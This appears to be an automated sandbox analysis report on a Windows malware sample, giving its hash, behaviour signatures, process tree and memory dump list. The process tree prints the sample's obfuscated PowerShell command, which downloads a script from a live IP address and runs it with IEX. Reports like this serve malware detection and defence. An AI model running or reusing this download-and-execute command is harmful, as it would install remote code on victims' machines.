Analysis
- max time kernel
150s - max time network
21s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
19/07/2026, 23:51
General
- Target e0bbeb44a30e92fcf141c350b4d4240c488821ede6cf83b03c1b7d726a87c5f5.exe
- Size 55KB
- Sample260719-3wefcaby2w
- SHA256 e0bbeb44a30e92fcf141c350b4d4240c488821ede6cf83b03c1b7d726a87c5f5
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://185.11.61.104/Z.png
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\e0bbeb44a30e92fcf141c350b4d4240c488821ede6cf83b03c1b7d726a87c5f5.exe"C:\Users\Admin\AppData\Local\Temp\e0bbeb44a30e92fcf141c350b4d4240c488821ede6cf83b03c1b7d726a87c5f5.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command " $L='(New-Object Net.We'; $Y='bClient).Downlo'; $V='adString(''http://185.11.61.104/Z.png'')'; $F=I`E`X ($L,$Y,$V -Join '')|I`E`X"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/3172-14-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/3172-13-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/3172-19-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/3172-16-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/3172-8-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/3172-7-0x00000268537B0000-0x00000268537D2000-memory.dmp
memory/3172-15-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/3172-12-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/3172-10-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/3172-9-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/4192-4-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/4192-11-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/4192-1-0x0000000000880000-0x0000000000894000-memory.dmp
memory/4192-0-0x00007FF92979F000-0x00007FF9297A0000-memory.dmp
memory/4192-3-0x00007FF929610000-0x00007FF929FB4000-memory.dmp
memory/4192-2-0x00000000010F0000-0x00000000010F6000-memory.dmp